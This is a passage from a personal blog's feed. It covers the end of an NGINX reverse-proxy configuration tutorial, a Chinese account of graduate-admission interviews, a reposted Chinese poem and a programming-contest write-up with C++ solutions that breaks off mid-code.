not be above 6 — the gain in terms of size reduction is insignificant, as it needs a lot more CPU usage. gzip_types is a list of response types that compression will be applied on.</li></ul><p>Your NGINX install can support far more than a single website, and the files that define your server’s sites live in the /etc/nginx/sites-available directory.</p><p>However, the files in this directory aren’t “live” — you can have as many site definition files in here as you want, but NGINX won’t actually do anything with them unless they’re symlinked into the /etc/nginx/sites-enabled directory (you could also copy them there, but symlinking ensures there’s only one copy of each file to keep track of).</p><p>This gives you a method to quickly put websites online and take them offline without having to actually delete any files — when you’re ready for a site to go online, symlink it into sites-enabled and restart NGINX.</p><p>The <code>sites-available</code> directory includes configurations for virtual hosts. This allows the web server to be configured for multiple sites that have separate configurations. The sites within this directory are not live and are only enabled if we create a symbolic link into the <code>sites-enabled</code> folder.</p><p>Either create a new file for you application or edit the default one. A typical configuration looks like the below one.</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">upstream</span> remoteApplicationServer {</span><br><span class="line"> <span class="attribute">server</span> <span class="number">10.10.10.10</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="section">upstream</span> remoteAPIServer {</span><br><span class="line"> <span class="attribute">server</span> <span class="number">20.20.20.20</span>;</span><br><span class="line"> <span class="attribute">server</span> <span class="number">20.20.20.21</span>;</span><br><span class="line"> <span class="attribute">server</span> <span class="number">20.20.20.22</span>;</span><br><span class="line"> <span class="attribute">server</span> <span class="number">20.20.20.23</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="section">server</span> {</span><br><span class="line"> <span class="attribute">listen</span> <span class="number">80</span>;</span><br><span class="line"> <span class="attribute">server_name</span> www.customapp.com customapp.com;</span><br><span class="line"> <span class="attribute">root</span> /var/www/html;</span><br><span class="line"> <span class="attribute">index</span> index.html;</span><br><span class="line"></span><br><span class="line"> <span class="section">location</span> / {</span><br><span class="line"> <span class="attribute">alias</span> /var/www/html/customapp/;</span><br><span class="line"> <span class="attribute">try_files</span> <span class="variable">$uri</span> <span class="variable">$uri</span>/ =<span class="number">404</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="section">location</span> /remoteapp {</span><br><span class="line"> <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>:<span class="variable">$server_port</span>;</span><br><span class="line"> <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line"> <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line"> <span class="attribute">proxy_pass</span> http://remoteAPIServer/;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="section">location</span> /api/v1/ {</span><br><span class="line"> <span class="attribute">proxy_pass</span> https://remoteAPIServer/api/v1/;</span><br><span class="line"> <span class="attribute">proxy_http_version</span> <span class="number">1</span>.<span class="number">1</span>;</span><br><span class="line"> <span class="attribute">proxy_set_header</span> Upgrade <span class="variable">$http_upgrade</span>;</span><br><span class="line"> <span class="attribute">proxy_set_header</span> Connection <span class="string">'upgrade'</span>;</span><br><span class="line"> <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line"> <span class="attribute">proxy_cache_bypass</span> <span class="variable">$http_upgrade</span>;</span><br><span class="line"> <span class="attribute">proxy_redirect</span> http:// https://;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Much like the <code>nginx.conf</code>, this one also uses the concept of nested contexts (and all of these are also nested inside the <strong><strong>HTTP</strong></strong> context of nginx.conf, so they also inherit everything from it).</p><p>The <strong><strong>server</strong></strong> context defines a specific virtual server to handle your clients’ requests. You can have multiple server blocks, and NGINX will choose between them based on the <code>listen</code> and <code>server_name</code> directives.</p><p>Inside a server block, we define multiple <strong><strong>location</strong></strong> contexts that are used to decide how to handle the client requests. Whenever a request comes in, NGINX will try to match its URI to one of those location definitions and handle it accordingly.</p><p>There are many important directives that can be used under the location context, such as:</p><ul><li><strong><strong>try_files</strong></strong> will try to serve a static file found under the folder that points to the root directive.</li><li><strong><strong>proxy_pass</strong></strong> will send the request to a specified proxied server.</li><li><strong><strong>rewrite</strong></strong> will rewrite the incoming URI based on a regular expression so that another location block will be able to handle it.</li></ul><p>The <strong><strong>upstream</strong></strong> context defines a pool of servers that NGINX will proxy the requests to. After we create an upstream block and define a server inside it we can then reference it by name inside our location blocks. Furthermore, an upstream context can have many servers assigned under it so that NGINX will do some load balancing when proxying the requests.</p><h2 id="start-nginx"><a class="markdownIt-Anchor" href="#start-nginx"></a> <strong>Start NGINX</strong></h2><p>After we have finished with the configuration and we have moved our web application over to the appropriate folder, we can start up NGINX using the below command:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo service nginx start</span><br></pre></td></tr></table></figure><p>After that, whenever we change something on our configuration, we only have to reload it (without downtime) using the command below.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service nginx reload</span><br></pre></td></tr></table></figure><p>Lastly, we can check NGINX’s status using the command below.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service nginx status</span><br></pre></td></tr></table></figure><h2 id="conclusion"><a class="markdownIt-Anchor" href="#conclusion"></a> <strong>Conclusion</strong></h2><p>With so many features out of the box, NGINX can be a great way to serve your application or even be used as a HTTP proxy or load balancer for your other web servers. Understanding the way NGINX works and handles requests will give a lot of power to scaling and balancing the load of your applications.</p>]]></content>
<summary type="html"><p>Picture this - you’ve created a web application and are now searching for the right web server to host it from.</p>
<p>Your application m</summary>
<category term="Nginx" scheme="https://blog.lancelot.top/tags/Nginx/"/>
</entry>
<entry>
<title>保研经历</title>
<link href="https://blog.lancelot.top/2021/12/%E4%BF%9D%E7%A0%94%E7%BB%8F%E5%8E%86/"/>
<id>https://blog.lancelot.top/2021/12/%E4%BF%9D%E7%A0%94%E7%BB%8F%E5%8E%86/</id>
<published>2021-12-02T02:00:00.000Z</published>
<updated>2024-04-05T11:02:52.209Z</updated>
<content type="html"><![CDATA[<p>记录了自己参加夏令营和预推免的经历。道路充满挑战。尤其是,最终获得浙江大学软件学院的录取通知书,标志着我在这一旅程中的成功。</p><span id="more"></span><h2 id="个人条件"><a class="markdownIt-Anchor" href="#个人条件"></a> 个人条件</h2><p>南昌大学,计科</p><p>绩点 3.52(前五学期)</p><p>成绩排名 25/195, 12.8%</p><p>绩点 3.55(前六学期)</p><p>成绩排名 24/195, 12.3%</p><p>综测排名 4/195</p><p>总评排名 10</p><p>CET-6 踩线过</p><p>ACM 选手,有一些 ICPC 的牌子,西安邀请赛银牌,南京区域赛铜牌,江西省赛金牌和天梯赛个人三等奖等</p><p>无论文,只准备了一个水水的 NLP 项目 <a href="https://github.com/Lan-ce-lot/pythorch-text-classification">GitHub - Lan-ce-lot/pythorch-text-classification</a></p><h2 id="夏令营"><a class="markdownIt-Anchor" href="#夏令营"></a> 夏令营</h2><h3 id="经历"><a class="markdownIt-Anchor" href="#经历"></a> 经历</h3><p>夏令营投了海投,结果只入了北工和华师计院,比较难受,因为被卡了rank 10%,点击就送的湖大都不要我,同时,有些rank靠前的同学也被卡六级了。所以rank和英语很重要,因为是夏令营的门槛。差不多7月份,大多数学校夏令营基本都开奖完毕,然后和同学聊了一下,发现和去年相比今年形势不太对,今年夏令营入营太难了。</p><h3 id="北京工业大学"><a class="markdownIt-Anchor" href="#北京工业大学"></a> 北京工业大学</h3><p>报着玩的,面试很水。拿到 offer</p><h3 id="华东师范大学计"><a class="markdownIt-Anchor" href="#华东师范大学计"></a> 华东师范大学(计)</h3><p>机试</p><p>华师有机试,据说是蔡队出题,计院机试4题</p><blockquote><p>暴力前缀和拿70分</p><p>贪心</p><p>模拟</p><p>上世纪NOI原题,大搜索</p></blockquote><p>面试</p><p>面试先朗读翻译英文论文,然后问问题</p><blockquote><ul><li><p>排序算法的空间复杂度哪个最大(给了四个选项)答案是归并</p></li><li><p>什么是平衡二叉树?如何插入</p></li><li><p>问了一下机试怎么样</p></li><li><p>问了一下最擅长的科目</p></li><li><p>问了项目</p></li><li><p>思政:对国家扶贫工作的看法</p></li></ul></blockquote><p>面试被挂。华师是很大的一次挫折,因为是第一次正式面试。</p><h3 id="西安电子科技大学"><a class="markdownIt-Anchor" href="#西安电子科技大学"></a> 西安电子科技大学</h3><p>面试也很水,主要是看联系导师。未联系无后续</p><h2 id="预推免"><a class="markdownIt-Anchor" href="#预推免"></a> 预推免</h2><p>夏0营后,预推免又是一波海投,最后大概是入了:湖大,重大,南航,西工大(邮件联系导师),厦大,浙软,大连理工。南航和大连理工大学因为经历了太多面试,实在不想面了,就拒了。</p><p>然后是pat的翻车,最后一题没有记板子,因为没有听wrf的背BST</p><blockquote><p>1.地址分配相关的模拟</p><p>2.用数组映射一下,就能过</p><p>3.模拟,通过率(满分)甚至比第一题高</p><p>4.一个堆与二叉排序树的结合,当时忘记二叉排序树的板子了。当然还有一种更巧妙的解法。</p></blockquote><p>但是官网前一天突然说不低机试,所以也就是抱着玩的心态去打了个70</p><p>然后就是18号的机试了,后悔没有听wrf的背AVL</p><blockquote><p>1.素数筛</p><p>2.忘了</p><p>3.字符串</p><p>4.AVL</p></blockquote><h3 id="厦门大学"><a class="markdownIt-Anchor" href="#厦门大学"></a> 厦门大学</h3><p>22号早上第一个,流程大概是英文自我介绍,然后中文ppt,然后开始提问</p><blockquote><ul><li>思政:四史是哪四史</li></ul><blockquote><p>蒙了,之前有个四史答题活动,结果忘了</p></blockquote><ul><li>线性方程组什么时候无解</li></ul><p>然后开始问项目</p><p>项目问题感觉答得还行</p></blockquote><p>但是出结果时名单没有我,应该在候补。值得一提的是后来我面完浙软,厦大就发邮件说名额顺延到我,让我签协议,但我自认为浙软稳了且不行当鸽子影响学弟学妹,就没回复。真是风水轮流转呀。</p><h3 id="重庆大学"><a class="markdownIt-Anchor" href="#重庆大学"></a> 重庆大学</h3><p>23号,英文自我介绍,然后直接问竞赛和项目,中间问了一个大数定理,没答出来</p><p>后来拿了个候补(貌似我校都是候补)</p><h3 id="湖南大学"><a class="markdownIt-Anchor" href="#湖南大学"></a> 湖南大学</h3><p>24号,英文自我介绍,英文问题,专业问题,比夏令营硬核一点</p><blockquote><ul><li><p>英文:为什么选择湖南大学</p></li><li><p>英文:读研计划</p></li><li><p>英文:ACM经历</p><p>然后是专业问题</p></li><li><p>P等不等于NP</p></li><li><p>追问你能不能证明出来P不等于NP</p></li><li><p>怎么设计一个动态规划算法</p></li><li><p>虚存</p></li><li><p>选择排序算法的下界</p></li><li><p>编译器优化代码</p></li><li><p>查询优化</p></li></ul></blockquote><p>湖大点击就送,也就图一乐。</p><h3 id="浙江大学软件学院"><a class="markdownIt-Anchor" href="#浙江大学软件学院"></a> 浙江大学软件学院</h3><p>浙软的面试,真的是全看运气,而幸运也眷顾了我,我遇到的老师真的很好。</p><p>流程是英文自我介绍1min,然后中文PPT 5-7min,然后开始看你的简历问问题。第一个问题因为声音太小确实没听清,就跳过了。</p><blockquote><ul><li>介绍一下拓扑排序</li><li>介绍一下我的web项目</li><li>web项目用了什么工具和方法</li></ul><blockquote><p>我们团队使用的方法是瀑布模型,但是我们项目的指导老师的本意是让用快速原型模型。。。</p></blockquote><ul><li>数据库的设计的步骤</li></ul><blockquote><p>需求分析,然后。。。powerdesigner导出(哈哈哈这里乱答的)</p></blockquote><ul><li>这个项目理解错了指导老师的的本意,那你们事后有没有继续对项目进行优化呢?你在这个项目又学到了什么呢?</li><li>你这里写了两个项目,一个web一个人工智能,你更倾向于哪个呢</li><li>说一下对浙江大学的校训“求是创新”的理解</li></ul><blockquote><p>瞎扯,我连校训是求是创新都不知道…</p></blockquote></blockquote><p>然后在26号中午得知自己在预录取名单,别提多开心了。</p><h3 id="西北工业大学"><a class="markdownIt-Anchor" href="#西北工业大学"></a> 西北工业大学</h3><p>西北工业大学,我联系了一个很厉害的做人工智能的导师,导师评价网风评很好</p><p>然后。。。面试直接裂开,这应该是我这几个月遇到最硬核的面试了</p><p>上来就是英语朗读翻译,然后就是无边无际的数学和人工智能问题。。。</p><blockquote><ul><li><p>思政:有人说看学习强国是形式主义,你怎么看?</p></li><li><p>什么是堆</p></li><li><p>极大似然估计</p></li><li><p>矩阵的特征向量和特征值</p></li><li><p>什么是SVM</p></li><li><p>追问什么是支持向量</p></li><li><p>问分类和回归的区别</p></li><li><p>问用过什么损失函数</p><blockquote><p>答交叉熵</p></blockquote></li><li><p>追问交叉熵怎么计算</p><p>然后问了一下竞赛和项目,这个团队的老师貌似ACM不感兴趣</p></li></ul></blockquote><p>第二天不出所料收到了老师的拒信,但这个老师确实很好。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>推免面试比较看重英语水平,如让你随机读一个文章,英语主要靠平时积累了。其次是对基础的考察包括数据结构、算法、人工智能和数学等。</p><p>最后我的结果是厦大(专硕)、重大候补、湖大(offer)、浙大软院(软工专硕)、北京工业(软工)。</p><p>一路走来也非常苛刻,也发现有论文是在推免非常加分的一件事情,而 AMC 竞赛经历也可以简历筛选和机试上提供一些帮助。</p><p>挥一挥手,轻轻走了,莫问来路。</p>]]></content>
<summary type="html"><p>记录了自己参加夏令营和预推免的经历。道路充满挑战。尤其是,最终获得浙江大学软件学院的录取通知书,标志着我在这一旅程中的成功。</p></summary>
<category term="推免" scheme="https://blog.lancelot.top/tags/%E6%8E%A8%E5%85%8D/"/>
<category term="保研" scheme="https://blog.lancelot.top/tags/%E4%BF%9D%E7%A0%94/"/>
</entry>
<entry>
<title>致中文系</title>
<link href="https://blog.lancelot.top/2019/12/%E8%87%B4%E4%B8%AD%E6%96%87%E7%B3%BB/"/>
<id>https://blog.lancelot.top/2019/12/%E8%87%B4%E4%B8%AD%E6%96%87%E7%B3%BB/</id>
<published>2019-12-19T10:02:12.000Z</published>
<updated>2024-03-28T13:31:18.271Z</updated>
<content type="html"><![CDATA[<table><tr><td bgcolor="Bisque">《致中文系》 </td></tr></table><span id="more"></span><blockquote><p>你必须是静悄悄地</p><p>在全校最古旧的一幢楼里</p><p>在别人发飞信的时候</p><p>用笔</p><p>一个字一个字地写明信片</p><p>你必须是揣着馒头夹榨菜</p></blockquote><blockquote><p>在别人逛步行街的时候</p><p>坐在阴凉的山北</p><p>看整整一天的红杜鹃</p><p>你一定要在草坪上开班会</p><p>却在教室里化装跳舞</p><p>你一定要在咖啡馆里争论乾坤阴阳</p><p>却在中央广场上伫立走神</p><p>你肯定在走进大学校门的时候</p><p>满以为可以把天空涂蓝</p><p>然后可以尽情地享受</p><p>落花时节的悲切</p><p>月上柳梢的激情</p><p>不料在大二的时候发现</p><p>这个世界上除了林黛玉和柳宗元</p><p>还有孙思邈和弗洛伊德</p><p>于是你跑到图书馆把所有的藏书</p><p>看完了前言和后记</p><p>结果在大三的时候</p><p>终于知道你会写的你想写的你能写的</p><p>都已经在发霉的书里装着</p><p>因此,你咬牙把所有的日记和作业</p><p>付诸一炬</p><p>以致在大四的时候</p><p>你什么都不能给老师留下</p><p>只好回到一年级的教室</p><p>去听过去忘了听的课</p><p>最后你毕业了</p><p>留下了喝空了的酒瓶</p><p>带走了一肚皮的不合时宜</p><p>别人为了醉而喝酒</p><p>你却为了喝酒而醉</p><p>别人为了恋爱而谈爱情</p><p>你却为了爱情而谈恋爱</p><p>别人认为读书能够挣钱</p><p>你却认为挣钱能够读书</p><p>别人认为人生是一场梦</p><p>你却认为梦是人生一场</p><p>终于</p><p>当别人宁愿坐在宝马里</p><p>为自己而哭的时候</p><p>你还能沉醉在音乐厅里</p><p>聆听着《梁祝》哀曲</p><p>你突然发现四年里</p><p>什么都没有学会</p><p>只学会了</p><p>为他人</p><p>泪流满面</p></blockquote><p>我常常读这首诗,<br>仿佛回到那个夏天,<br>落叶飘在润西湖的湖水,<br>大鹅从主教旁边划过,<br>中哲老师在讲台念着这首《致中文系》</p>]]></content>
<summary type="html"><table><tr><td bgcolor="Bisque">《致中文系》 </td></tr></table></summary>
<category term="随笔" scheme="https://blog.lancelot.top/tags/%E9%9A%8F%E7%AC%94/"/>
<category term="诗" scheme="https://blog.lancelot.top/tags/%E8%AF%97/"/>
</entry>
<entry>
<title>CCPC江西省赛</title>
<link href="https://blog.lancelot.top/2019/10/CCPC%E6%B1%9F%E8%A5%BF%E7%9C%81%E8%B5%9B/"/>
<id>https://blog.lancelot.top/2019/10/CCPC%E6%B1%9F%E8%A5%BF%E7%9C%81%E8%B5%9B/</id>
<published>2019-10-23T13:00:31.000Z</published>
<updated>2024-03-28T12:29:10.093Z</updated>
<content type="html"><![CDATA[<table><tr><td bgcolor="Yellow">这是一个值得庆幸的比赛 </td></tr></table><span id="more"></span>## [1004 Wave](http://acm.hdu.edu.cn/showproblem.php?pid=6570)<h3 id="思路"><a class="markdownIt-Anchor" href="#思路"></a> 思路</h3><p>存下每种数字的位置,</p><h3 id="ac代码"><a class="markdownIt-Anchor" href="#ac代码"></a> AC代码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><cmath></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><bits/stdc++.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> LL long long</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> fio ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> fix fixed << setprecision(3)</span></span><br><span class="line">using namespace <span class="built_in">std</span>;</span><br><span class="line"><span class="type">int</span> mod = <span class="number">1e9</span> + <span class="number">7</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> INF = <span class="number">1e9</span> + <span class="number">7</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">double</span> PI = <span class="number">45.0</span> / <span class="built_in">atan</span>(<span class="number">1.0</span>);</span><br><span class="line"><span class="built_in">vector</span><<span class="type">int</span>> vec[<span class="number">105</span>];</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> fio;</span><br><span class="line"> <span class="type">int</span> n, c, x;</span><br><span class="line"> <span class="built_in">cin</span> >> n >> c;</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">1</span>; i <= n; ++i)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">cin</span> >> x;</span><br><span class="line"> vec[x].push_back(i);<span class="comment">//下标是数字,内容是位置</span></span><br><span class="line"> }</span><br><span class="line"> <span class="type">int</span> ans = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">1</span>; i <= c; ++i)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">1</span>; j <= c; ++j)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span>(i == j)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="type">int</span> len1 = vec[i].size();</span><br><span class="line"> <span class="type">int</span> len2 = vec[j].size();</span><br><span class="line"> <span class="type">int</span> st1 = <span class="number">0</span>, st2 = <span class="number">0</span>, temp = <span class="number">0</span>, sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">while</span>(st1 < len1 && vec[i][st1] < temp)</span><br><span class="line"> {</span><br><span class="line"> st1 += <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(st1 == len1)</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> temp = vec[i][st1];</span><br><span class="line"> sum += <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">while</span>(st2 < len2 && vec[j][st2] < temp)</span><br><span class="line"> {</span><br><span class="line"> st2 += <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(st2 == len2)</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> sum += <span class="number">1</span>;</span><br><span class="line"> temp = vec[j][st2];</span><br><span class="line"> }</span><br><span class="line"> ans = max(ans, sum);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">cout</span> << ans << <span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="1008-rng"><a class="markdownIt-Anchor" href="#1008-rng"></a> <a href="http://acm.hdu.edu.cn/showproblem.php?pid=6574">1008 Rng</a>放一放!</h2><h3 id="思路-2"><a class="markdownIt-Anchor" href="#思路-2"></a> 思路</h3><ol><li>这是什么神仙思路,假设区间趋于0,则可以看成是两个点,计算不相交的情况,就是第一个区间n种,第二个区间(n - 1)种,左右算两遍就是</li><li><a href="https://blog.csdn.net/toohandsomeieaseid/article/details/96757205">具体</a></li></ol><h3 id="ac代码-2"><a class="markdownIt-Anchor" href="#ac代码-2"></a> AC代码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="1010-worker"><a class="markdownIt-Anchor" href="#1010-worker"></a> <a href="http://acm.hdu.edu.cn/showproblem.php?pid=6576">1010 Worker</a></h2><h3 id="思路-3"><a class="markdownIt-Anchor" href="#思路-3"></a> 思路</h3><p>最小公倍数</p><h3 id="ac代码-3"><a class="markdownIt-Anchor" href="#ac代码-3"></a> AC代码</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment"> > FileName:</span></span><br><span class="line"><span class="comment"> > Author: Lance</span></span><br><span class="line"><span class="comment"> > Mail: lancelot_hcs@qq.com</span></span><br><span class="line"><span class="comment"> > Date: 9102.1.8</span></span><br><span class="line"><span class="comment"> > Description:</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"><span class="comment">//#include <bits/stdc++.h></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(linker, <span class="string">"/STACK:102400000,102400000"</span>)<span class="comment">//add_stack</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><algorithm></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdlib></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstring></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sstream></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><vector></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bitset></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cmath></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><deque></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><queue></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stack></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><map></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><set></span></span></span><br><span class="line">using namespace <span class="built_in">std</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">double</span> pi = <span class="built_in">acos</span>(<span class="number">-1.0</span>);</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> eps = <span class="number">1e-10</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> mod = <span class="number">1e9</span> + <span class="number">7</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(a) cout << <span class="string">"*"</span> << a << <span class="string">"*"</span> << endl</span></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> INF = <span class="number">0x3f3f3f3f</span>;<span class="comment">//int2147483647//ll9e18//unsigned ll 1e19</span></span><br><span class="line"><span class="type">const</span> <span class="type">int</span> maxn = <span class="number">100005</span>;</span><br><span class="line"></span><br><span class="line">ll <span class="title function_">read</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> ll x = <span class="number">0</span>,f = <span class="number">1</span>;</span><br><span class="line"> <span class="type">char</span> ch = getchar();</span><br><span class="line"> <span class="keyword">while</span> (ch < <span class="string">'0'</span> || ch > <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (ch == <span class="string">'-'</span>)</span><br><span class="line"> f = <span class="number">-1</span>;</span><br><span class="line"> ch = getchar();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> (ch >= <span class="string">'0'</span> && ch <= <span class="string">'9'</span>)</span><br><span class="line"> {</span><br><span class="line"> x = x * <span class="number">10</span> + ch - <span class="string">'0'</span>;</span><br><span class="line"> ch = getchar();</span><br><span class="line"> }</span><br><span class="line"> <span 